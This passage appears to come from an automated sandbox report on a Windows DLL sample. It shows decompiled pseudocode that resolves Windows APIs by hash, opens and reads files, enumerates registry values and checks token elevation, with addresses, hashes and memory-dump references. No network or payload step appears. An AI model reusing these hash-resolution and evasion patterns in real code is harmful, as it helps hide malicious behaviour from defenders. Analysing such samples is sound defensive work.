                                                                                                      					_t34[2] = E6EC435F0(0xc0000000);
                                                                                                      					_t12 = 0;
                                                                                                      				} else {
                                                                                                      					if( *((intOrPtr*)(_t41 + 0x24)) == 2) {
                                                                                                      						_t33 = E6EC43064(0x8e844d1e, 0xba53868);
                                                                                                      						if(_t33 != 0) {
                                                                                                      							 *_t33( *_t24, 0, 0, 2);
                                                                                                      						}
                                                                                                      					}
                                                                                                      					_t40 = _t41 + 8;
                                                                                                      					E6EC43698(_t40, 0xff, 8);
                                                                                                      					_t41 = _t41 + 0xc;
                                                                                                      					if(E6EC43064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                      						_push(_t40);
                                                                                                      						_push(_t40);
                                                                                                      						_push(0);
                                                                                                      						_push( *_t24);
                                                                                                      						asm("int3");
                                                                                                      						asm("int3");
                                                                                                      					}
                                                                                                      					_t12 = 1;
                                                                                                      				}
                                                                                                      				return _t12;
                                                                                                      			}














                                                                                                      0x6ec45bd1
                                                                                                      0x6ec45bd8
                                                                                                      0x6ec45bdb
                                                                                                      0x6ec45c09
                                                                                                      0x6ec45c12
                                                                                                      0x6ec45c18
                                                                                                      0x6ec45c19
                                                                                                      0x6ec45c0b
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c2f
                                                                                                      0x6ec45c43
                                                                                                      0x6ec45c31
                                                                                                      0x6ec45c3e
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c45
                                                                                                      0x6ec45c4a
                                                                                                      0x6ec45c58
                                                                                                      0x6ec45cc3
                                                                                                      0x6ec45cc6
                                                                                                      0x6ec45c5a
                                                                                                      0x6ec45c5f
                                                                                                      0x6ec45cac
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45c61
                                                                                                      0x6ec45c6d
                                                                                                      0x6ec45c72
                                                                                                      0x6ec45c86
                                                                                                      0x6ec45c88
                                                                                                      0x6ec45c89
                                                                                                      0x6ec45c8a
                                                                                                      0x6ec45c8c
                                                                                                      0x6ec45c8e
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45c9a

                                                                                                      APIs
                                                                                                      • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EC45C3E
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: CreateFile
                                                                                                      • String ID:
                                                                                                      • API String ID: 823142352-0
                                                                                                      • Opcode ID: ab2bd4055e11c9f9a2bf07316868f5c1c5b37ceb7e280a100dd82f754eff5fb8
                                                                                                      • Instruction ID: 9b5076159cf1b97be24ac30363e9dc20f4ab3bac3f8958ec24afb1bbbc2fdba4
                                                                                                      • Opcode Fuzzy Hash: ab2bd4055e11c9f9a2bf07316868f5c1c5b37ceb7e280a100dd82f754eff5fb8
                                                                                                      • Instruction Fuzzy Hash: E001283578031AFAF75026F54D44F7F764DDFC6658F104835FA01951C9FE226858C121
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 48%
                                                                                                      			E6EC45BB3(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                      				void* _t6;
                                                                                                      				void* _t11;
                                                                                                      				void* _t19;
                                                                                                      				void* _t21;
                                                                                                      				long _t22;
                                                                                                      				WCHAR** _t23;
                                                                                                      				intOrPtr* _t30;
                                                                                                      				WCHAR** _t31;
                                                                                                      				long _t35;
                                                                                                      				void* _t37;
                                                                                                      				void* _t38;
                                                                                                      
                                                                                                      				_t31 = __edi;
                                                                                                      				_t35 = 3;
                                                                                                      				if(__ebx != 2) {
                                                                                                      					_t6 = 3;
                                                                                                      					_t21 = 0;
                                                                                                      					_t22 =  ==  ? _t6 : _t21;
                                                                                                      				} else {
                                                                                                      					_t22 = 1;
                                                                                                      				}
                                                                                                      				if(E6EC43064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                      					_push(0);
                                                                                                      				} else {
                                                                                                      					_t19 = CreateFileW( *_t31, 0x100, _t22, 0, _t35, _a44, 0); // executed
                                                                                                      					_push(_t19);
                                                                                                      				}
                                                                                                      				_t23 =  &(_t31[3]);
                                                                                                      				E6EC3C26C(_t23);
                                                                                                      				if(E6EC3C280(_t23) != 0) {
                                                                                                      					_t31[2] = E6EC435F0(0x100);
                                                                                                      					_t11 = 0;
                                                                                                      				} else {
                                                                                                      					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
                                                                                                      						_t30 = E6EC43064(0x8e844d1e, 0xba53868);
                                                                                                      						if(_t30 != 0) {
                                                                                                      							 *_t30( *_t23, 0, 0, 2);
                                                                                                      						}
                                                                                                      					}
                                                                                                      					_t37 = _t38 + 8;
                                                                                                      					E6EC43698(_t37, 0xff, 8);
                                                                                                      					_t38 = _t38 + 0xc;
                                                                                                      					if(E6EC43064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                      						_push(_t37);
                                                                                                      						_push(_t37);
                                                                                                      						_push(0);
                                                                                                      						_push( *_t23);
                                                                                                      						asm("int3");
                                                                                                      						asm("int3");
                                                                                                      					}
                                                                                                      					_t11 = 1;
                                                                                                      				}
                                                                                                      				return _t11;
                                                                                                      			}














                                                                                                      0x6ec45bb3
                                                                                                      0x6ec45bba
                                                                                                      0x6ec45c09
                                                                                                      0x6ec45c12
                                                                                                      0x6ec45c18
                                                                                                      0x6ec45c19
                                                                                                      0x6ec45c0b
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c2f
                                                                                                      0x6ec45c43
                                                                                                      0x6ec45c31
                                                                                                      0x6ec45c3e
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c45
                                                                                                      0x6ec45c4a
                                                                                                      0x6ec45c58
                                                                                                      0x6ec45cc3
                                                                                                      0x6ec45cc6
                                                                                                      0x6ec45c5a
                                                                                                      0x6ec45c5f
                                                                                                      0x6ec45cac
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45c61
                                                                                                      0x6ec45c6d
                                                                                                      0x6ec45c72
                                                                                                      0x6ec45c86
                                                                                                      0x6ec45c88
                                                                                                      0x6ec45c89
                                                                                                      0x6ec45c8a
                                                                                                      0x6ec45c8c
                                                                                                      0x6ec45c8e
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45c9a

                                                                                                      APIs
                                                                                                      • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EC45C3E
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: CreateFile
                                                                                                      • String ID:
                                                                                                      • API String ID: 823142352-0
                                                                                                      • Opcode ID: 48822c07a41f11b243a306607094b00b4c7456231264d7b8e6290cc97b67c54b
                                                                                                      • Instruction ID: 01004a6b9f9f14ee95559945df0224f332cf0f4796c65e59d58461f32842567d
                                                                                                      • Opcode Fuzzy Hash: 48822c07a41f11b243a306607094b00b4c7456231264d7b8e6290cc97b67c54b
                                                                                                      • Instruction Fuzzy Hash: 2F01423138031AFAFB9126E94C44FBB774CEF8A658F104835BA02651C9FE22A868C130
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 48%
                                                                                                      			E6EC45C01(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                      				void* _t6;
                                                                                                      				void* _t11;
                                                                                                      				void* _t19;
                                                                                                      				void* _t21;
                                                                                                      				long _t22;
                                                                                                      				WCHAR** _t23;
                                                                                                      				intOrPtr* _t30;
                                                                                                      				WCHAR** _t31;
                                                                                                      				long _t35;
                                                                                                      				void* _t37;
                                                                                                      				void* _t38;
                                                                                                      
                                                                                                      				_t31 = __edi;
                                                                                                      				_t35 = 3;
                                                                                                      				if(__ebx != 2) {
                                                                                                      					_t6 = 3;
                                                                                                      					_t21 = 0;
                                                                                                      					_t22 =  ==  ? _t6 : _t21;
                                                                                                      				} else {
                                                                                                      					_t22 = 1;
                                                                                                      				}
                                                                                                      				if(E6EC43064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                      					_push(0);
                                                                                                      				} else {
                                                                                                      					_t19 = CreateFileW( *_t31, 0, _t22, 0, _t35, _a44, 0); // executed
                                                                                                      					_push(_t19);
                                                                                                      				}
                                                                                                      				_t23 =  &(_t31[3]);
                                                                                                      				E6EC3C26C(_t23);
                                                                                                      				if(E6EC3C280(_t23) != 0) {
                                                                                                      					_t31[2] = E6EC435F0(0);
                                                                                                      					_t11 = 0;
                                                                                                      				} else {
                                                                                                      					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
                                                                                                      						_t30 = E6EC43064(0x8e844d1e, 0xba53868);
                                                                                                      						if(_t30 != 0) {
                                                                                                      							 *_t30( *_t23, 0, 0, 2);
                                                                                                      						}
                                                                                                      					}
                                                                                                      					_t37 = _t38 + 8;
                                                                                                      					E6EC43698(_t37, 0xff, 8);
                                                                                                      					_t38 = _t38 + 0xc;
                                                                                                      					if(E6EC43064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                      						_push(_t37);
                                                                                                      						_push(_t37);
                                                                                                      						_push(0);
                                                                                                      						_push( *_t23);
                                                                                                      						asm("int3");
                                                                                                      						asm("int3");
                                                                                                      					}
                                                                                                      					_t11 = 1;
                                                                                                      				}
                                                                                                      				return _t11;
                                                                                                      			}














                                                                                                      0x6ec45c01
                                                                                                      0x6ec45c05
                                                                                                      0x6ec45c09
                                                                                                      0x6ec45c12
                                                                                                      0x6ec45c18
                                                                                                      0x6ec45c19
                                                                                                      0x6ec45c0b
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c2f
                                                                                                      0x6ec45c43
                                                                                                      0x6ec45c31
                                                                                                      0x6ec45c3e
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c45
                                                                                                      0x6ec45c4a
                                                                                                      0x6ec45c58
                                                                                                      0x6ec45cc3
                                                                                                      0x6ec45cc6
                                                                                                      0x6ec45c5a
                                                                                                      0x6ec45c5f
                                                                                                      0x6ec45cac
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45c61
                                                                                                      0x6ec45c6d
                                                                                                      0x6ec45c72
                                                                                                      0x6ec45c86
                                                                                                      0x6ec45c88
                                                                                                      0x6ec45c89
                                                                                                      0x6ec45c8a
                                                                                                      0x6ec45c8c
                                                                                                      0x6ec45c8e
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45c9a

                                                                                                      APIs
                                                                                                      • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EC45C3E
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: CreateFile
                                                                                                      • String ID:
                                                                                                      • API String ID: 823142352-0
                                                                                                      • Opcode ID: 9388d6fc0ab44810084af1a5b0fc5f81b3c38bd3c3c93c53e58e45b453cb198f
                                                                                                      • Instruction ID: b0cf7dd89f86ad5129eb767122fa49162f418d83a445e8d9f070fdbbaa570625
                                                                                                      • Opcode Fuzzy Hash: 9388d6fc0ab44810084af1a5b0fc5f81b3c38bd3c3c93c53e58e45b453cb198f
                                                                                                      • Instruction Fuzzy Hash: 2501763138031AFAFB6126F54D44FBF774CDFC6658F104835BA0265189FE22A868C130
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 63%
                                                                                                      			E6EC45E10(void* __ecx, intOrPtr _a4) {
                                                                                                      				long _v16;
                                                                                                      				long _t4;
                                                                                                      				void* _t8;
                                                                                                      				void** _t9;
                                                                                                      				intOrPtr _t17;
                                                                                                      				long* _t18;
                                                                                                      
                                                                                                      				_push(_t16);
                                                                                                      				_t8 = __ecx;
                                                                                                      				_t17 = _a4;
                                                                                                      				if(_t17 != 0) {
                                                                                                      					asm("pxor xmm0, xmm0");
                                                                                                      					asm("movq [esi], xmm0");
                                                                                                      				}
                                                                                                      				_t9 = _t8 + 0xc;
                                                                                                      				if(E6EC3C280(_t9) != 0) {
                                                                                                      					L7:
                                                                                                      					_t4 = 0;
                                                                                                      					goto L10;
                                                                                                      				} else {
                                                                                                      					asm("stosd");
                                                                                                      					asm("stosd");
                                                                                                      					if(E6EC43064(0x8e844d1e, 0xba53868) == 0) {
                                                                                                      						_t4 = 0;
                                                                                                      					} else {
                                                                                                      						_t4 = SetFilePointer( *_t9, 0,  &_v16, 1); // executed
                                                                                                      					}
                                                                                                      					if(_t4 != 0xffffffff) {
                                                                                                      						if(_t17 != 0) {
                                                                                                      							 *_t18 = _t4;
                                                                                                      							asm("movq xmm0, [esp]");
                                                                                                      							asm("movq [esi], xmm0");
                                                                                                      						}
                                                                                                      						L10:
                                                                                                      						return _t4;
                                                                                                      					} else {
                                                                                                      						goto L7;
                                                                                                      					}
                                                                                                      				}
                                                                                                      			}









                                                                                                      0x6ec45e14
                                                                                                      0x6ec45e15
                                                                                                      0x6ec45e17
                                                                                                      0x6ec45e1d
                                                                                                      0x6ec45e1f
                                                                                                      0x6ec45e23
                                                                                                      0x6ec45e23
                                                                                                      0x6ec45e27
                                                                                                      0x6ec45e33
                                                                                                      0x6ec45e67
                                                                                                      0x6ec45e67
                                                                                                      0x00000000
                                                                                                      0x6ec45e35
                                                                                                      0x6ec45e3a
                                                                                                      0x6ec45e3b
                                                                                                      0x6ec45e4f
                                                                                                      0x6ec45e60
                                                                                                      0x6ec45e51
                                                                                                      0x6ec45e5c
                                                                                                      0x6ec45e5c
                                                                                                      0x6ec45e65
                                                                                                      0x6ec45e6d
                                                                                                      0x6ec45e6f
                                                                                                      0x6ec45e72
                                                                                                      0x6ec45e77
                                                                                                      0x6ec45e77
                                                                                                      0x6ec45e7b
                                                                                                      0x6ec45e80
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec45e65

                                                                                                      APIs
                                                                                                      • SetFilePointer.KERNELBASE(?,00000000,?,00000001,0BA53868,?,?,00000000,00000000,?,6EC45D48,?,?), ref: 6EC45E5C
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: FilePointer
                                                                                                      • String ID:
                                                                                                      • API String ID: 973152223-0
                                                                                                      • Opcode ID: c5b249cb0bd675f8c00ae2d5a69ae15c2bd38bea87aee8cce9b412d31bd4c1eb
                                                                                                      • Instruction ID: b3cdd24f050cbcdc65986eaf6018f5d53349004c2dc2e95219fb85f15d1341c0
                                                                                                      • Opcode Fuzzy Hash: c5b249cb0bd675f8c00ae2d5a69ae15c2bd38bea87aee8cce9b412d31bd4c1eb
                                                                                                      • Instruction Fuzzy Hash: 8DF02D31A18B21FDD75159BD9C40B9B73E8EFD1750F244F29F540A7188F77198408261
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 100%
                                                                                                      			E6EC45E84(void* __ecx, void* __eflags, void* _a4, long _a8) {
                                                                                                      				long _v12;
                                                                                                      				void* __esi;
                                                                                                      				long _t9;
                                                                                                      				long _t10;
                                                                                                      				int _t12;
                                                                                                      				void* _t18;
                                                                                                      				void** _t19;
                                                                                                      				DWORD* _t20;
                                                                                                      
                                                                                                      				_t18 = __ecx;
                                                                                                      				_t19 = __ecx + 0xc;
                                                                                                      				if(E6EC3C280(_t19) == 0) {
                                                                                                      					_v12 = _a8;
                                                                                                      					if(E6EC43064(0x8e844d1e, 0xed3ed1cc) == 0) {
                                                                                                      						_t9 = 0x7f;
                                                                                                      					} else {
                                                                                                      						_t12 = ReadFile( *_t19, _a4, _v12, _t20, 0); // executed
                                                                                                      						if(_t12 == 0) {
                                                                                                      							_t9 = E6EC435F0(_t18);
                                                                                                      						} else {
                                                                                                      							_t9 = 0;
                                                                                                      						}
                                                                                                      					}
                                                                                                      					 *((intOrPtr*)(_t18 + 8)) = _t9;
                                                                                                      					if(_t9 == 0) {
                                                                                                      						_t10 = _v12;
                                                                                                      					} else {
                                                                                                      						_t10 = 0;
                                                                                                      						_v12 = 0;
                                                                                                      					}
                                                                                                      				} else {
                                                                                                      					_t10 = 0;
                                                                                                      				}
                                                                                                      				return _t10;
                                                                                                      			}











                                                                                                      0x6ec45e87
                                                                                                      0x6ec45e89
                                                                                                      0x6ec45e95
                                                                                                      0x6ec45e9f
                                                                                                      0x6ec45eb5
                                                                                                      0x6ec45ed4
                                                                                                      0x6ec45eb7
                                                                                                      0x6ec45ec8
                                                                                                      0x6ec45ecc
                                                                                                      0x6ec45eec
                                                                                                      0x6ec45ece
                                                                                                      0x6ec45ece
                                                                                                      0x6ec45ece
                                                                                                      0x6ec45ecc
                                                                                                      0x6ec45ed5
                                                                                                      0x6ec45eda
                                                                                                      0x6ec45ee3
                                                                                                      0x6ec45edc
                                                                                                      0x6ec45edc
                                                                                                      0x6ec45ede
                                                                                                      0x6ec45ede
                                                                                                      0x6ec45e97
                                                                                                      0x6ec45e97
                                                                                                      0x6ec45e97
                                                                                                      0x6ec45ee9

                                                                                                      APIs
                                                                                                      • ReadFile.KERNELBASE(?,?,00000000,00000000,00000000,8E844D1E,ED3ED1CC,?,?,?,6EC45D79,00000000,?,00000000,?), ref: 6EC45EC8
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: FileRead
                                                                                                      • String ID:
                                                                                                      • API String ID: 2738559852-0
                                                                                                      • Opcode ID: 84a6624f29361c2a8c98364ad473c0758c1d35c4603bde8f3404ef6b27891e48
                                                                                                      • Instruction ID: 5d2a4ed267e9157fcc21b9f431a5bc514be8c2847310b0cb946964434ee2201f
                                                                                                      • Opcode Fuzzy Hash: 84a6624f29361c2a8c98364ad473c0758c1d35c4603bde8f3404ef6b27891e48
                                                                                                      • Instruction Fuzzy Hash: 80F0A431358307EFD791EEAADC10AAB77D9AF49250F104C2AA899C6140FB36D404C721
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 100%
                                                                                                      			E6EC4564C(void* __ecx) {
                                                                                                      				long _t9;
                                                                                                      				char* _t11;
                                                                                                      				void* _t16;
                                                                                                      				int _t17;
                                                                                                      				int _t18;
                                                                                                      				int* _t19;
                                                                                                      
                                                                                                      				_t18 = 0;
                                                                                                      				_t17 = _t19[0x48];
                                                                                                      				_t16 = __ecx;
                                                                                                      				_t11 =  &(_t19[1]);
                                                                                                      				 *_t17 = 0;
                                                                                                      				 *((intOrPtr*)(_t17 + 4)) = 0;
                                                                                                      				 *((intOrPtr*)(_t17 + 8)) = 0;
                                                                                                      				while(1) {
                                                                                                      					 *_t19 = 0x105;
                                                                                                      					if(E6EC43064(0x150c05fc, 0xed2313f7) == 0) {
                                                                                                      						goto L4;
                                                                                                      					}
                                                                                                      					_t9 = RegEnumValueA( *(_t16 + 4), _t18, _t11, _t19, 0, 0, 0, 0); // executed
                                                                                                      					if(_t9 == 0) {
                                                                                                      						goto L4;
                                                                                                      					}
                                                                                                      					return _t17;
                                                                                                      					L4:
                                                                                                      					E6EC3E644(_t17, _t11,  *_t17);
                                                                                                      					_t18 = _t18 + 1;
                                                                                                      				}
                                                                                                      			}









                                                                                                      0x6ec45656
                                                                                                      0x6ec45658
                                                                                                      0x6ec4565f
                                                                                                      0x6ec45661
                                                                                                      0x6ec45665
                                                                                                      0x6ec45667
                                                                                                      0x6ec4566a
                                                                                                      0x6ec4566d
                                                                                                      0x6ec4566d
                                                                                                      0x6ec45687
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec45698
                                                                                                      0x6ec4569c
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec456aa
                                                                                                      0x6ec456ad
                                                                                                      0x6ec456b2
                                                                                                      0x6ec456b7
                                                                                                      0x6ec456b7

                                                                                                      APIs
                                                                                                      • RegEnumValueA.KERNELBASE(?,00000001,?,00000000,00000000,00000000,00000000,00000000,150C05FC,ED2313F7,?,?,150C05FC,ED2313F7), ref: 6EC45698
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: EnumValue
                                                                                                      • String ID:
                                                                                                      • API String ID: 2814608202-0
                                                                                                      • Opcode ID: eaa139f66eab8ff4bbabcae264f96130f64c4111b48ae2ac250c1eeef9ea8eef
                                                                                                      • Instruction ID: 3dc497f7c146f46127da943ddceef4c1840d9407c617fc084784a3066d1f362b
                                                                                                      • Opcode Fuzzy Hash: eaa139f66eab8ff4bbabcae264f96130f64c4111b48ae2ac250c1eeef9ea8eef
                                                                                                      • Instruction Fuzzy Hash: 87F0A4B520030ABFE7259E5A8C54DBBBBFCEBC1B50F10851DA4D542240EA71AC508970
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 45%
                                                                                                      			E6EC41030(void* __ecx) {
                                                                                                      				void* _v36;
                                                                                                      				void* _v44;
                                                                                                      				int _t15;
                                                                                                      				intOrPtr* _t21;
                                                                                                      				void* _t24;
                                                                                                      				intOrPtr* _t25;
                                                                                                      
                                                                                                      				_t24 = __ecx;
                                                                                                      				 *_t25 = 0;
                                                                                                      				_t21 = E6EC4306C(0x150c05fc, 0x1da4d409, 0x150c05fc, 0x150c05fc);
                                                                                                      				if(_t21 == 0) {
                                                                                                      					L5:
                                                                                                      					return 0;
                                                                                                      				}
                                                                                                      				_push(_t25);
                                                                                                      				_push(8);
                                                                                                      				_push(_t24);
                                                                                                      				if( *_t21() == 0 || E6EC4306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc) == 0) {
                                                                                                      					goto L5;
                                                                                                      				} else {
                                                                                                      					_t2 = _t25 + 8 - 4; // 0x150c05f8
                                                                                                      					_t15 = GetTokenInformation( *(_t25 + 0x10), 0x14, _t2, 4, _t25 + 8); // executed
                                                                                                      					if(_t15 == 0) {
                                                                                                      						goto L5;
                                                                                                      					}
                                                                                                      					return 0 |  *((intOrPtr*)(_t25 + 4)) != 0x00000000;
                                                                                                      				}
                                                                                                      			}









                                                                                                      0x6ec4103e
                                                                                                      0x6ec41040
                                                                                                      0x6ec4104e
                                                                                                      0x6ec41052
                                                                                                      0x6ec4109b
                                                                                                      0x00000000
                                                                                                      0x6ec4109b
                                                                                                      0x6ec41057
                                                                                                      0x6ec41058
                                                                                                      0x6ec4105a
                                                                                                      0x6ec4105f
                                                                                                      0x00000000
                                                                                                      0x6ec41078
                                                                                                      0x6ec4107c
                                                                                                      0x6ec41089
                                                                                                      0x6ec4108d
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41096

                                                                                                      APIs
                                                                                                      • GetTokenInformation.KERNELBASE(00000004,00000014,150C05F8,00000004,150C05FC,150C05FC,150C05FC), ref: 6EC41089
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: InformationToken
                                                                                                      • String ID:
                                                                                                      • API String ID: 4114910276-0
                                                                                                      • Opcode ID: 6e47646477a1af0dc4b2de091a4f50078e9155f62806ec5d6aed96985eb654ee
                                                                                                      • Instruction ID: bed2baade04155f02d5e8fb571b4dce0ae52ebfa2a6addf341bd301083763947
                                                                                                      • Opcode Fuzzy Hash: 6e47646477a1af0dc4b2de091a4f50078e9155f62806ec5d6aed96985eb654ee
                                                                                                      • Instruction Fuzzy Hash: 65F06270354643EBFA4195BC9C68F7F32ED5BC1614F508838B5A0CA198FF78C9598626
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 29%
                                                                                                      			E6EC43628(void* __ecx) {
                                                                                                      				void* _t3;
                                                                                                      				intOrPtr* _t7;
                                                                                                      				void* _t9;
                                                                                                      
                                                                                                      				_t9 = __ecx;
                                                                                                      				if( *0x6ec4d228 == 0xa33c83e5) {
                                                                                                      					_t7 = E6EC43064(0x60a28c5c, 0x1c6ef387);
                                                                                                      					 *0x6ec4d22c = E6EC43064(0x60a28c5c, 0x5e0afaa3);
                                                                                                      					if( *0x6ec4d228 == 0xa33c83e5) {
                                                                                                      						 *_t7(2, 0, 0, 0, 0, 0); // executed
                                                                                                      						 *0x6ec4d228 = 0;
                                                                                                      					}
                                                                                                      				}
                                                                                                      				_t3 = E6EC43064(0x60a28c5c, 0x45b68b68);
                                                                                                      				if(_t3 == 0) {
                                                                                                      					return 0;
                                                                                                      				} else {
                                                                                                      					_push(_t9);
                                                                                                      					_push(8);
                                                                                                      					_push( *0x6ec4d228);
                                                                                                      					asm("int3");
                                                                                                      					asm("int3");
                                                                                                      					return _t3;
                                                                                                      				}
                                                                                                      			}






                                                                                                      0x6ec43630
                                                                                                      0x6ec43638
                                                                                                      0x6ec4366b
                                                                                                      0x6ec4367c
                                                                                                      0x6ec43687
                                                                                                      0x6ec43692
                                                                                                      0x6ec43694
                                                                                                      0x6ec43694
                                                                                                      0x6ec43687
                                                                                                      0x6ec43644
                                                                                                      0x6ec4364b
                                                                                                      0x00000000
                                                                                                      0x6ec4364d
                                                                                                      0x6ec4364d
                                                                                                      0x6ec4364e
                                                                                                      0x6ec43650
                                                                                                      0x6ec43652
                                                                                                      0x6ec43653
                                                                                                      0x00000000
                                                                                                      0x6ec43653

                                                                                                      APIs
